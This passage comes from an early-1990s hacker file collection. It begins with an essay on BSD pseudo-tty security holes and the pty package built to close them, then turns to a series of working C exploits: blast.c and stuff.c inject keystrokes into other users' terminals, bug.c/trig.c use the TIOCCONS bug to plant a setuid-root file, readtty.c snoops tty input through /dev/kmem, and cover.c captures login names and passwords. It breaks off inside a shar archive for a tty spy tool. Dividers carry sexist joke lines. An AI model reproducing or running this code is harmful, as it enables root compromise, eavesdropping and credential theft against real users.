such as /dev/console, are connected directly to lines outside the computer. Pseudo-ttys (ptys), such as /dev/ttyp3, have device drivers that present a similar interface, but any output to /dev/ttyp0 is presented as input to a ``master'' side /dev/ptyp3, and vice versa. /dev/ttyp0 is called the ``slave'' side of the pseudo-tty. Note that ptys are implemented very differently in non-BSD systems. Many tty security holes relate to the protection of ttys within the filesystem. A tty is owned by the user whose shell is running under it. This mistake is a SCINUP (footnote: Security Compromise Introduced in the Name of User Power) that gives users many opportunities to make mistakes. Its apparent advantage is that the user can open the tty from other terminals; but this can be better done in other ways, and doesn't outweigh the potential problem of a user changing his tty to world-readable and world-writable. The simplest form of user-to-user communication used to be (and still is) the ``write'' program. One user would set the world-write bit on his tty; another user would use ``write'' to send messages to the tty. Unfortunately, this was also a huge hole: other users could just as easily send unidentified mounds of trash onto the tty, or even apply ioctls. (stty intr ' ' > /dev/ttyxx.) This bug was ``fixed'' in BSD 4.3, and independently in certain other systems. BSD 4.3 introduced a ``tty group,'' group 4. All ttys were set to group tty. write and other communications programs were made setgid tty. Finally, users would set the group-write bit rather than the world-write bit to allow communications. These changes still leave many holes open. The default state of a tty is still ``messages on,'' so inexperienced users cannot prevent others from bothering them. Arbitrary, perhaps damaging text can still be sent through the talk and comsat daemons. The write program itself is still a fruitful source of bugs, as described in a later section; in particular, some versions pass descriptors for the other terminal through to a ! command. This leaves no protection at all. The reader may wonder whether write access is so bad---the worst that a program could do is set the terminal modes strangely. However, changing the terminal's process group can destroy process control; setting flow control and flushing output strategically can prevent detection; and many (real) terminals accept a ``playback'' command that feeds stored sequences back into the computer. Furthermore, if there is a way to open a tty for writing, then there is a way to open that tty for reading: if a detached process opens a tty in any way, it will gain that tty as its control terminal, and can then reopen it for reading. This means that it can use the TIOCSTI ioctl to simulate terminal input. (This is another example of the problems caused by the concept of a ``control terminal.'' TIOCSTI is not inherently bad: although it really should insert characters at the *front* of the queue, and although it can interfere with typed input if there's no careful synchronization, TIOCSTI can be used very effectively. Eliminating it, as has been done in several BSD-derived systems, is a poor solution.) A quite different class of filesystem tty bugs comes from this problem: Unused pseudo-ttys are mode 666, i.e., readable and writable by anyone. This is a SCINUP. ``User programs want to run other programs under ptys, so the ptys have to be unprotected for arbitrary programs to use them.'' Unfortunately, a program can access the slave side, then wait for a program to start using the tty, then suddenly jump in and take control. (Footnote: POSIX sessions offer no protection against this. As the POSIX Rationale, B.7.1.1.4, states: ``A process accessing a terminal that is not its controlling terminal is effectively treated the same as a member of the foreground process group. While this may seem unintuitive, note that these controls are for the purpose of job control, not security, and job control relates only to a process's controlling terminal. *Normal file access permissions handle security*'' (italics added). Apparently this has been removed from the POSIX.1-1990 rationale; this author finds it disturbing that the POSIX committee no longer thinks normal file access permissions should handle security.) A particularly nasty application of this hole is to have a program keep TIOCSTI'ing ^C's into /dev/ttyp0; telnetd (and almost every other program with the usual pty allocation code) will find /dev/ttyp0 open before looking at any other tty, so login be killed instantly. In combination with other bugs, this can force the sysadmin to shut off power to the machine, without so much as an accounting trace afterwards. Another application is a simple Trojan horse, which popular myth says is impossible for network logins if the attacker doesn't have root privilege. (Details of this attack are left to the reader.) It is also clear that, because ptys are static and unprotected, one user can trivially deny service to all others, again without so much as an accounting record. While denial of service is not as severe as a true security hole, it is just as important. Note that some systems have even the hardwired ttys set up mode 666 when they're unused. This is pointless. It leads to the same bugs as above and has no conceivable application. A different type of tty bug---one that would apply even if ttys weren't in the filesystem---is that a program can retain access to a tty even after someone else logs in. Without some major enhancements to the system (viz.: dynamic ptys, perhaps through streams), telnetd and getty have to reuse an available tty without knowing whether a background process still has access to that tty. Users regularly complain about garbage spewed onto their screens by other users' background processes; a security hole waiting for accidents to happen is more dangerous than one that is difficult to exploit. The careful reader may have raised several objections to the above descriptions, as some manual pages give the impression that a user can protect himself from attackers. If a process is running under a terminal, isn't it susceptible to signals from that terminal? If it's not in the tty's process group, doesn't it get stopped if tostop is set? The answers are yes and yes, but an attacker can ignore various signals, set his process group carefully, and/or stick himself inside a vfork() to dodge these signal problems. A more important objection is that vhangup() revokes access to ttys. However, empirical tests show that vhangup() does nothing on many systems, less than its documentation on most, and in any case not much. Even if it worked as documented, it would not revoke a process's access to its control terminal. Convex UNIX, perhaps the most secure available BSD UNIX with respect to tty protection, has a large amount of paranoia coded into the kernel in various attempts to solve the problems mentioned above. Even it does not protect against all the above attacks, and race conditions defeat much of its care. Until UNIX has a working enforce() call to reliably enforce new access permissions on an object, users should never be given permission for anything that they may not be allowed to do forever. It is worthwhile to note another SCINUP at this point: On Sun's popular workstations, /etc/utmp is almost always mode 666. Sun did this because many of its window programs (``tools''), like many programs available for other machines, would benefit from an /etc/utmp entry. Making /etc/utmp world-writable was considered more secure than making those programs setuid root. Unfortunately, many programs depend on /etc/utmp for accurate information, and can develop new security holes if they are deluded into thinking that a different user is working under the tty. Even on single-user machines, a writable /etc/utmp is an accident waiting to happen. 6. Adding pty security to current systems In this section, we consider what pty can do to prevent the security holes of section 5. This section is mainly of interest to system managers of machines derived from BSD 4.2 or 4.3. Without support from the kernel, pty must run setuid to provide real security. It is careful to make sure that the slave runs as the original uid; it is very careful to make sure that the kernel accounts pty use to the correct user; and it is extremely careful not to touch any files outside the session directory. (Foornote: This level of security is very difficult to achieve under System V before release 4.) Under BSD, pty can successfully run setuid as any given user. (It can be installed by unprivileged users on current insecure machines, but after taking all the steps mentioned in this section, a sysadmin can be sure that unauthorized pseudo-tty access is impossible.) Unfortunately, even BSD doesn't provide enough security features; as mentioned in section 4, various restrictions, missing capabilities, and bugs probably require that pty be installed setuid root. We will assume that some user, say ``pty'', has been set up for pty use. This should be a system-only account, never used for interactive logins and only available for storing privileged programs and secure files. It may or may not be the same as root. With pty in place, two SCINUPs disappear immediately. Unused psuedo-ttys can be made owner pty, mode 600; and /etc/utmp can be made owner pty, mode 644. Insecure pseudo-ttys and world-writable /etc/utmp are no longer necessary for user programs to take advantage of these features. (Of course, pty can work with the old, insecure setup; for a gradual upgrade, a sysadmin can even dedicate some ptys to secure use and some old ptys to insecure use.) pty supports the BSD 4.3 tty group model. It supports leaving pseudo-tty ownership with pty instead of changing it to the current user. It supports a default of unwritable (and un-``biffable'') ttys. The pty package includes mesg and biff adapted to work with these changes. The system administrator can configure pty without these features if he wants. pty's random pseudo-tty searching can give a huge boost to speed and security, as mentioned in section 2. Its use of TIOCEXCL closes many holes, though the widespread use of /dev/tty means that this cannot be made default. These are independent of all other security features. None of the above (except TIOCEXCL, but there are still races) address the problem of a background process keeping access to a pseudo-tty. pty's test for previous access is completely reliable under some variants of the BSD kernel, and completely unreliable under others. If the kernel could be counted on to exhibit proper O_NDELAY tty behavior, pty would have closed the most important tty security hole. The author is considering adding an option for pty to search the kernel file table. Of course, it would be even better if the kernel supported real streams and pty were redone to use dynamic stream pseudo-ttys. On systems where vhangup() reliably closes everything except /dev/tty, there's a different solution: Eliminate /dev/tty. This is probably a good idea for future systems in any case. It is considered further in section 9. Installing pty with all security measures enabled is useless unless programs are modified to actually use pty. It is straightforward to modify getty so that it always ignores the real tty and forks login under pty. All hardwired /dev/tty* would remain permanently in raw mode, owned by root, mode 600. It is not so easy to modify telnetd to use pty, because telnetd allocates a pseudo-tty for itself and depends on full control to pass mode changes between the pseudo-tty and the telnet on the other side of the network. The author has done the necessary work, using pty's file descriptor passing feature to give telnetd the tty descriptors. A side effect of this strategy is that the patched telnetd runs at the same efficiency as the original version, even after a reconnect. Patches for telnetd are included in the pty package. A few problems arise because pty and login have different views of /etc/utmp. The latter's strategy regularly leads to race conditions on heavily used machines, does not adapt well to ptys used in random order, and is logically impossible to adapt to dynamically allocated ptys. Nevertheless, pty has to conform to it, so the patched telnetd invokes pty with -xR to find ptys in an order that login can handle. (Footnote: A much better solution is to have utmp initialized at system startup to list all available ptys, in the order that login requires; then pty will conform to that order. This still won't help login once ptys are out of the filesystem.) A more serious problem is that the pseudo-tty is allocated before authentication and hence is controlled by root. The pty package includes a ``sessuser'' command to fix this problem. Once the user owns the pseudo-tty file and is listed in /etc/utmp for that tty (all as per login's usual procedure), ``sessuser'' changes ownership of the session to the user. Then all the other session commands will work properly. Some work still needs to be done, to adapt other common programs (rlogind, screen, emacs, etc.) to use the pty model. In the meantime, a sysadmin can take the ``gradual upgrade'' strategy and leave those old programs to use insecure pseudo-ttys. Users will meanwhile garner the benefits of tty security and session management. 7. pty extras lock is a clone of the usual program. It corrects many of the original's failings, by being much simpler: it does not accept hasta la vista; it does not accept the root password; it never times out; and it does print a message for each bad password. (Also, unlike many versions, it catches all tty signals; so even if an attacker manages to reset the tty from raw mode, he cannot interrupt the lock.) write has several security holes: 1. Control characters were passed through. This version converts anything unprintable into a caret. 2. Lines were not distinctively marked. A user could manually simulate the ``EOT'' or ``EOF'' sequence, wait a few minutes, then start sending anything to the other tty without identification. This version precedes each line with the name of the sending user, and prints something more informative than EOT for an ended message. 3. write could be used to flood a terminal. (This is an accident waiting to happen.) This version puts a one-second pause between each line and restricts line length. 4. Originally, write would only check the protection on the tty being written to. But this meant that a user could be interrupted by someone hiding behind mesg n and have no recourse. (Footnote: Remember that UNIX has no enforce() call to enforce new permissions on an object. Setting mesg n does not stop a write in progress.) So many versions of write included ``revenge'': X was allowed to write to Y only if Y could write back. However, these versions tested tty protection only at the beginning of a message---which was useless. This version does the correct test: it simply checks write permission before sending each new line. ------------------------------------------------------------------------------ Comments: more comments/applications for this information are needed. Q's: Biblio: CrossRef: Code/shRef: ============================================================================== C0dEz R el8 d00d! We wANt m0rE c0deZ iN d1s mAG! ============================================================================== blast.c 4.cb.15.00 04/04/92 ------------------------------------------------------------------------------ DATA: Signals ======= There is a major bug in 4.2 which allows you to set your process group and your terminal process group to any value you like. This results in several nasty security features. #include #include main(argc, argv) char **argv; { register char *str; register char *cp; register int pid; int pgrp; struct sgttyb sb; struct sgttyb nsb; struct tchars tc; struct ltchars lc; if (argc < 2) { fprintf(stderr, "usage: blast [-ksd] pid ...\n"); exit(1); } ioctl(0, TIOCGETP, &sb); nsb = sb; nsb.sg_flags &= ~ECHO; ioctl(0, TIOCSETN, &nsb); if (ioctl(0, TIOCGETC, &tc)) { perror("getc"); goto done; } if (ioctl(0, TIOCGLTC, &lc)) { perror("lgetc"); goto done; } argv++; cp = &tc.t_intrc; sigsetmask(-1); while (argc-- > 1) { str = *argv++; if (*str == '-') { switch (str[1]) { case 'k': /* kill process */ cp = &tc.t_intrc; break; case 's': /* stop process */ cp = &lc.t_suspc; break; case 'd': /* dump process */ cp = &tc.t_quitc; break; default: /* illegal */ fprintf(stderr, "bad option\n"); goto done; } continue; } pid = 0; while (*str) { pid = pid * 10; if ((*str < '0') || (*str > '9')) { fprintf(stderr, "bad number\n"); goto done; } pid += (*str++ - '0'); } pgrp = getpgrp(pid); if (pgrp < 0) { perror("getpgrp"); goto done; } if (ioctl(0, TIOCSPGRP, &pgrp)) { perror("ttyspgrp"); goto done; } if (setpgrp(0, pgrp)) { perror("spgrp"); goto done; } if (ioctl(0, TIOCSTI, cp)) { perror("sti"); goto done; } } done: ioctl(0, TIOCSETN, &sb); } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== A new song by Nirvana: Smells Like Gene Spafford! ============================================================================== bugntrig.c 4.cb.15.01 04/04/92 ------------------------------------------------------------------------------ DATA: Here you have the code for two nice programs. bug.c and trig.c. It polls bugid#1008324, the well-known TIOCCONS bug. I take no responsibility for the problems on your system that might occur after you have run these programs. ******************************************************************** *Please do understand that if the wrong user get his hands on these* *programs, he'll get root-priviliges!!!!!! * ******************************************************************** 1) Compile bug.c 2) Compile trig.c 3) Move trig to /tmp 4) Run bug (it will wait until sameone is using the console 5) Log in as root on the real console 6) Give some commands on the console 7) Root will be logged out of the console 8) You will have a file, owned by root, chmod 4711, named /tmp/testfile 9) Maybe you have to kill -HUP the getty on the console to force the console to work again. 10) Be sure to remove testfil, bug and trig. bug.c: #include #include #include #include #include #include #include static void thething() { alarm(5); } static struct sigvec sigge = { thething, sigmask(SIGALRM), SV_INTERRUPT }; main() { int m,s; char buf[1024]; char *l; time_t yesterday; struct stat devcon; /* The last pty on the system */ static char lastpty[]="/dev/ptyvf"; /* The name of the program "trig" */ static char horrible[] = ";/tmp/trig;exit\n"; sigvec(SIGALRM,&sigge,0); if(stat("/dev/console",&devcon) == -1) { perror("/dev/console"); exit(1); } yesterday=devcon.st_atime; if((m=open(lastpty,O_RDWR)) == -1) { perror(lastpty); exit(1); } lastpty[5]='t'; if((s=open(lastpty,O_RDWR)) == -1) { perror(lastpty); exit(1); } /* Ok, now get total control of the console */ if(ioctl(s,TIOCCONS) == -1) { perror("TIOCONS"); exit(1); } alarm(5); /* Wait until the console is used */ do { if (read(m,buf,sizeof buf)<0 && errno!=EINTR) return 1; stat("/dev/console",&devcon); } while (devcon.st_atime==yesterday); /* Do the ugly stuff */ alarm(0); switch (fork()) { case -1: return 1; case 0: alarm(10); while (read(m,buf,sizeof buf)>0) ; break; default: /* In the main process, put the "horrible" command on the console */ for (l=horrible; *l; l++) if (write(m,l,1)==-1) break; while (wait(0)<=0) ; } return 0; } trig.c: #include #include int main(argc,argv,envp) int argc; char **argv,**envp; { int s; s=open("/dev/console",O_WRONLY); ioctl(s,TIOCCONS); close(s); /* Change this to a nice directory ... */ chdir("/tmp"); chown("testfil",0,0); chmod("testfil",04711); /* Oops, here we go... */ return 0; } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== If women are so independant, why do they go to the bathroom in pairs? ============================================================================== readtty.c 4.cb.15.02 04/04/92 ------------------------------------------------------------------------------ DATA: #include #include #include #include #include #include #include /** **/ #defineNDZ1/* DZ's and DH's have to be mapped into */ #defineNDH2/* your own hardware*/ #define NPT2/* number of pty controllers*/ #defineDZ111/* major device number of the dz11*/ #defineDH1133/* major device number of the dh11*/ #define PTY20/* major device number of the ptys*/ #defineDZ_X8/* eight lines per dz11*/ #defineDH_X16/* sixteen lines per dh11*/ #define PT_X16/* sixteen lines per pty controller*/ #undefmajor()/* need to do this because of kernel*/ #undefminor()/* macros used to strip off device #'s */ static struct nlist nl[2]; static char *name_list[] = { "_dz_tty",/* base address of the dz tty structures*/ "_dhu11" ,/* same for the dh's*/ "_pt_tty",/* pseudo-ttys*/ 0 }; main(argc , argv) char **argv; int argc; { /********************************/ int major;/* place to hold major #*/ int minor;/* place to hold minor #*/ int board_type;/* tells me which kind of tty */ int fd;/* fd for memory*/ long offset;/* how far into the above tables*/ struct tty ttyb;/* place to put the tty buffer*/ extern char *calloc();/* our friend calloc*/ get_args(&major , &minor , argc , argv); check_args(major , minor , &board_type , argv); get_name_list(board_type , argv); open_memory(&fd , argv); { char *p;/* blank out argument list */ for (p = argv[1]; *p != '\0'; p++) *p = '\0'; for (p = argv[2]; *p != '\0'; p++) *p = '\0'; } offset = minor * sizeof(struct tty); fflush(stdout); fflush(stdout); while (1) { read_tty(fd , nl[0].n_value , offset , &ttyb); get_clist(fd , &ttyb.t_nu.t_t.T_rawq); } } /** ***Much monkeying around was done before I settled on this ***procedure. I attempted to follow the c_next pointers in ***the individual cblocks. This is friutless since by the ***time we do the second seek and read the information has ***been whisked away. *** ***So - The LIMITATIONS of this routine are: *** ***cannot read from any tty in RAW mode ***can only snarf first 28 characters (ie ***the first cblock) *** ***Nice things about this routine: *** ***only NEW characters are echoed to the output ***(eg characters in the cblock which have been ***seen before are swallowed). **/ get_clist(fd , cl) register struct clist *cl; { static char c[CBSIZE]; static char *old_start = 0 , *old_finish = 0; static int old_i = 0; char *pntr; int tn , in; if ((cl->c_cc > 0) && ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) { pntr = c; lseek(fd , (long) cl->c_cf , 0); read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc)); if (old_start == cl->c_cf) { in -= old_i; pntr += old_i; } if (in > 0) while (in--) putchar(*(pntr++)); else if (in < 0) while (in++) putchar('\010'); fflush(stdout); old_i = tn; old_start = cl->c_cf; old_finish = cl->c_cl; } if (cl->c_cc <= 0) { if (old_i != 0) putchar('\n'); old_i = (int) NULL; old_start = old_finish = NULL; } } read_tty(fd , base , offset , buffer) long base , offset; register struct tty *buffer; { register int i; lseek(fd , base + offset , 0); i = read(fd , buffer , sizeof(struct tty)); if (i != sizeof(struct tty)) { printf("unexpected return from read\n"); printf("should have been %d\n" , sizeof(struct tty)); printf("was %d\n" , i); exit(0); } } open_memory(fd , argv) int *fd; char **argv; { if ((*fd = open("/dev/kmem" , 0)) < 0) { perror(argv[0]); exit(0); } } get_name_list(index,argv) int index; char **argv; { nl[0].n_name = name_list[index]; nlist("/vmunix" , nl); if (! nl[0].n_type) { printf("%s: couldn't get name list\n" , argv[0]); exit(0); } printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value); } get_args(major , minor , argc , argv) int *major , *minor , argc; char **argv; { if (argc != 3) { fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]); exit(0); } *major = atoi(argv[1]); *minor = atoi(argv[2]); printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor); } check_args(major , minor , board , argv) char **argv; int *board; { if (minor < 0) { bad_minor:printf("%s: bad minor device number\n" , argv[0]); exit(0); } switch (major) { case DZ11: if (minor >= NDZ * DZ_X) goto bad_minor; printf("DZ11 - Unit %d\n" , minor / DZ_X); *board = 0; break; case DH11: if (minor >= NDH * DH_X) goto bad_minor; printf("DH11 - Unit %d\n" , minor / DH_X); *board = 1; break; case PTY: if (minor >= NPT * PT_X) goto bad_minor; printf("PTY - Unit %d\n" , minor / PT_X); *board = 2; break; default: printf("%s: bad major device number\n" , argv[0]); exit(0); } } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== If men are interested in only one thing, why do we like beer so much? ============================================================================== stufftty.c 4.cb.15.03 04/04/92 ------------------------------------------------------------------------------ DATA: Terminals ========= Under 4.2BSD and it's derivatives, a user can "write" on another users terminal as if he was really there. Here is some code I call "stuff" to show off this nasty bug. /* * Stuff: program to stuff input into another terminal. * * This program bypasses the normal superuser check for stuffing chars * into other people's terminals. All you need is write permission on * the user's terminal. */ #include #include main(argc, argv) char **argv; { register int fd; /* file descriptor */ char ch; /* current character */ char name[100]; /* tty name */ struct sgttyb sb; /* old and new tty flags */ struct sgttyb nsb; if (argc < 2) { fprintf(stderr, "stuff ttyname\n"); exit(1); } argv++; if (**argv == '/') strcpy(name, *argv); /* build full name */ else sprintf(name, "/dev/%s", *argv); if (setpgrp(0, 0)) /* clear my process group */ { perror("spgrp"); goto done; } if (open(name, 1) < 0) /* open tty, making it mine */ { perror(name); exit(1); } fd = open("/dev/tty", 2); /* open read/write as tty */ if (fd < 0) { perror("/dev/tty"); exit(1); } ioctl(0, TIOCGETP, &sb); /* go to raw mode */ nsb = sb; nsb.sg_flags |= RAW; nsb.sg_flags &= ~ECHO; ioctl(0, TIOCSETN, &nsb); sigsetmask(-1); /* stop hangups */ printf("Connected. Type ^B to exit\r\n"); while (1) { if (read(0, &ch, 1) <= 0) break; if ((ch & 0x7f) == '\002') break; if (ioctl(fd, TIOCSTI, &ch)) /* stuff char on "his" tty */ { perror("\r\nsti failed\r"); goto done; } ch &= 0x7f; /* echo it for me */ if (ch < ' ') { if ((ch == '\r') || (ch == '\n')) { write(1, "\r\n", 2); continue; } ch += '@'; write(1, "^", 1); write(1, &ch, 1); continue; } if (ch == '\177') { write(1, "^?", 2); continue; } write(1, &ch, 1); } done: ioctl(0, TIOCSETN, &sb); /* reset tty */ } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== This is not for the timid, shy, moralistically superior, easily offended, religous types, system administrators, old foggies, EFF members...etc ============================================================================== tty-spy1: cover.c 4.cb.15.04 04/04/92 ------------------------------------------------------------------------------ DATA: From: fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) Newsgroups: alt.security,alt.sources,comp.unix.internals Subject: BSD tty security - an example Message-ID: <15678@life.ai.mit.edu> Date: 8 May 91 09:59:14 GMT Here's a small program I wrote a while back. It speaks for itself, compile it, run it in the background (with &) and sit back. This program is an official release of the TimeWasters from HOLLAND ! --- /************************************************************************/ /* cover.c, version 2.5, Copyright (C) 1991 by WasteWare. */ /* Unauthorized use and reproduction prohibited. */ /* This program monitors the login process and records its findings. */ /************************************************************************/ #include #include #include #include #include #include #define DEBUG 1 /* Enable additional debugging info (needed!) */ #define USLEEP /* Define this if your UNIX supports usleep() */ #ifdef ULTRIX #define TCGETS TCGETP/* Get termios structure */ #define TCSETS TCSANOW/* Set termios structure */ #endif handler(signal) int signal; /* signalnumber */ { /* do nothing, ignore the signal */ if(DEBUG) printf("Ignoring signal %d\n",signal); } int readandpush(f,string) FILE *f; char *string; { char *cp,*result; int e; struct termios termios; result=fgets(string,20,f); /* Read a line into string */ if (result==NULL) {perror("fgets()"); return(1); } if (DEBUG) {printf("String: %s\n",string); fflush(stdout); } ioctl(0,TCGETS,&termios);/* These 3 lines turn off input echo */ /* echo = (termios.c_lflag & ECHO);*/ termios.c_lflag=((termios.c_lflag | ECHO) - ECHO); ioctl(0,TCSETS,&termios); for (cp=string;*cp;cp++) /* Push it back as input */ { e=ioctl(0,TIOCSTI,cp); if(e<0) {perror("ioctl()"); return(1); } } return(0); } main(argc,argv) int argc; char *argv[]; { /* variables */ int err; FILE *f; char *term = "12345678901234567890"; char *login = "12345678901234567890"; char *password = "12345678901234567890"; if (argc < 2) { printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]); printf("Enter ttyname: "); gets(term); } else term=argv[argc-1]; signal(SIGQUIT,handler); signal(SIGINT,handler); signal(SIGTERM,handler); signal(SIGHUP,handler); signal(SIGTTOU,handler); close(0); /* close stdin */ #ifdef ULTRIX if(setpgrp(0,100)==-1) perror("setpgrp:"); /* Hopefully this works */ #else if(setsid()==-1) perror("setsid:"); /* Disconnect from our controlling TTY and start a new session as sessionleader */ #endif f=fopen(term,"r"); /* Open tty as a stream, this guarantees getting file descriptor 0 */ if (f==NULL) { printf("Error opening %s with fopen()\n",term); exit(2); } if (DEBUG) system("ps -xu>>/dev/null &"); fclose(f); /* Close the TTY again */ f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */ if (f==NULL) { printf("Error opening /dev/tty with fopen()\n",term); exit(2); } if(readandpush(f,login)==0) { #ifdef USLEEP usleep(20000);/* This gives login(1) a chance to read the string, or the second call would read the input that the first call pushed back ! /* #else for(i=0;i<1000;i++) err=err+(i*i) /* error/* Alternatives not yet implemented */ #endif readandpush(f,password); printf("Result: First: %s Second: %s\n",login,password); } fflush(stdout); sleep(30); /* Waste some time, to prevent that we send a SIGHUP to login(1), which would kill the user. Instead, wait a while. We then send SIGHUP to the shell of the user, which will ignore it. */ fclose(f); } From: urban@cbnewsl.att.com (john.urban) Newsgroups: alt.security,alt.sources,comp.unix.internals Subject: Re: BSD tty security - an example Message-ID: <1991May9.182941.16988@cbnewsl.att.com> Date: 9 May 91 18:29:41 GMT In article <15678@life.ai.mit.edu> fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) writes: >Here's a small program I wrote a while back. It speaks for itself, >compile it, run it in the background (with &) and sit back. >This program is an official release of the TimeWasters from HOLLAND ! > >--- > close(0); /* close stdin */ >#ifdef ULTRIX >if(setpgrp(0,100)==-1) >perror("setpgrp:"); /* Hopefully this works */ >#else >if(setsid()==-1) >perror("setsid:"); /* Disconnect from our controlling TTY and > start a new session as sessionleader */ >#endif > f=fopen(term,"r"); /* Open tty as a stream, this guarantees > getting file descriptor 0 */ > if (f==NULL) > { printf("Error opening %s with fopen()\n",term); > exit(2); > } >if (DEBUG) system("ps -xu>>/dev/null &"); > fclose(f); /* Close the TTY again */ > f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */ > if (f==NULL) > { printf("Error opening /dev/tty with fopen()\n",term); > exit(2); > } This program does not exhibit the problem on AT&T UNIX System V/386 Release 4.0 Version 2.[01]. The fopen of "/dev/tty" fails because the setsid() passed successfully. In this small program: # cat T.c main() { setsid(); fopen("/dev/tty", "r"); } # make T cc -O T.c -o T # truss ./T You'll see the fopen fails w/ ENXIO. If the setsid() is removed, then the fopen passes fine. Sincerely, John Ben Urban ------------------------------------------------------------------------------ Comments: Buggy and needs some clean up work. Someone please submit a re-do. Q's: Biblio: CrossRef: Code/shRef: ============================================================================== There's something about a beautiful woman without a brain in her head that can still be exciting... ============================================================================== tty-spy2 4.cb.15.05 04/04/92 ------------------------------------------------------------------------------ DATA: From: ag@cbmvax.commodore.com (Keith Gabryelski) Newsgroups: alt.sources Subject: advise (spy) for streams ttys. Message-ID: <15193@cbmvax.commodore.com> Date: 16 Oct 90 23:26:25 GMT The included source code includes advise.c# a user program to interact with # the advise device and module. advisedev.c# the advise device driver. # (requests to attach to a users terminal # are done through this device) advisemod.c# the advise module. # (this module is pushed onto the advisee's # tty stream so advisedev may attach to # it.) advisemod.h# useful header file. COPYING Makefile# Other files. Pax, Keith Ps, This will only work under System V Release 4.0 streams ttys. With little effort it could be made to work under other streams tty subsystems. No amount of effort (save re-thinking and re-implimenting) will make this thing work on non-streams based ttys. #! /bin/sh # This is a shell archive, meaning: # 1. Remove everything above the #! /bin/sh line. # 2. Save the resulting text in a file. # 3. Execute the file with /bin/sh (not csh) to create the files: #COPYING #Makefile #advise.c #advise.man #advisedev.c #advisemod.c #advisemod.h # This archive created: Tue Oct 16 19:15:42 1990 export PATH; PATH=/bin:$PATH if test -f 'COPYING' then echo shar: will not over-write existing file "'COPYING'" else cat << \SHAR_EOF > 'COPYING' Advise GENERAL PUBLIC LICENSE (Clarified 11 Feb 1988) Copyright (C) 1988 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license, but changing it is not allowed. You can also use this wording to make the terms for other programs. The license agreements of most software companies keep you at the mercy of those companies. By contrast, our general public license is intended to give everyone the right to share Advise. To make sure that you get the rights we want you to have, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. Hence this license agreement. Specifically, we want to make sure that you have the right to give away copies of Advise, that you receive source code or else can get it if you want it, that you can change Advise or use pieces of it in new free programs, and that you know you can do these things. To make sure that everyone has such rights, we have to forbid you to deprive anyone else of these rights. For example, if you distribute copies of Advise, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must tell them their rights. Also, for our own protection, we must make certain that everyone finds out that there is no warranty for Advise. If Advise is modified by someone else and passed on, we want its recipients to know that what they have is not what we distributed, so that any problems introduced by others will not reflect on our reputation. Therefore we (Richard Stallman and the Free Software Foundation, Inc.) make the following terms which say what you must do to be allowed to distribute or change Advise. COPYING POLICIES 1. You may copy and distribute verbatim copies of Advise source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy a valid copyright notice "Copyright (C) 1988 Free Software Foundation, Inc." (or with whatever year is appropriate); keep intact the notices on all files that refer to this License Agreement and to the absence of any warranty; and give any other recipients of the Advise program a copy of this License Agreement along with the program. You may charge a distribution fee for the physical act of transferring a copy. 2. You may modify your copy or copies of Advise or any portion of it, and copy and distribute such modifications under the terms of Paragraph 1 above, provided that you also do the following: a) cause the modified files to carry prominent notices stating that you changed the files and the date of any change; and b) cause the whole of any work that you distribute or publish, that in whole or in part contains or is a derivative of Advise or any part thereof, to be licensed at no charge to all third parties on terms identical to those contained in this License Agreement (except that you may choose to grant more extensive warranty protection to some or all third parties, at your option). c) You may charge a distribution fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. Mere aggregation of another unrelated program with this program (or its derivative) on a volume of a storage or distribution medium does not bring the other program under the scope of these terms. 3. You may copy and distribute Advise (or a portion or derivative of it, under Paragraph 2) in object code or executable form under the terms of Paragraphs 1 and 2 above provided that you also do one of the following: a) accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Paragraphs 1 and 2 above; or, b) accompany it with a written offer, valid for at least three years, to give any third party free (except for a nominal shipping charge) a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Paragraphs 1 and 2 above; or, c) accompany it with the information you received as to where the corresponding source code may be obtained. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form alone.) For an executable file, complete source code means all the source code for all modules it contains; but, as a special exception, it need not include source code for modules which are standard libraries that accompany the operating system on which the executable file runs. 4. You may not copy, sublicense, distribute or transfer Advise except as expressly provided under this License Agreement. Any attempt otherwise to copy, sublicense, distribute or transfer Advise is void and your rights to use the program under this License agreement shall be automatically terminated. However, parties who have received computer software programs from you with this License Agreement will not have their licenses terminated so long as such parties remain in full compliance. 5. If you wish to incorporate parts of Advise into other free programs whose distribution conditions are different, write to the Free Software Foundation at 675 Mass Ave, Cambridge, MA 02139. We have not yet worked out a simple rule that can be stated here, but we will often permit this. We will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software. Your comments and suggestions about our licensing policies and our software are welcome! Please contact the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, or call (617) 876-3296. NO WARRANTY BECAUSE ADVISE IS LICENSED FREE OF CHARGE, WE PROVIDE ABSOLUTELY NO WARRANTY, TO THE EXTENT PERMITTED BY APPLICABLE STATE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING, FREE SOFTWARE FOUNDATION, INC, RICHARD M. STALLMAN AND/OR OTHER PARTIES PROVIDE ADVISE "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF ADVISE IS WITH YOU. SHOULD ADVISE 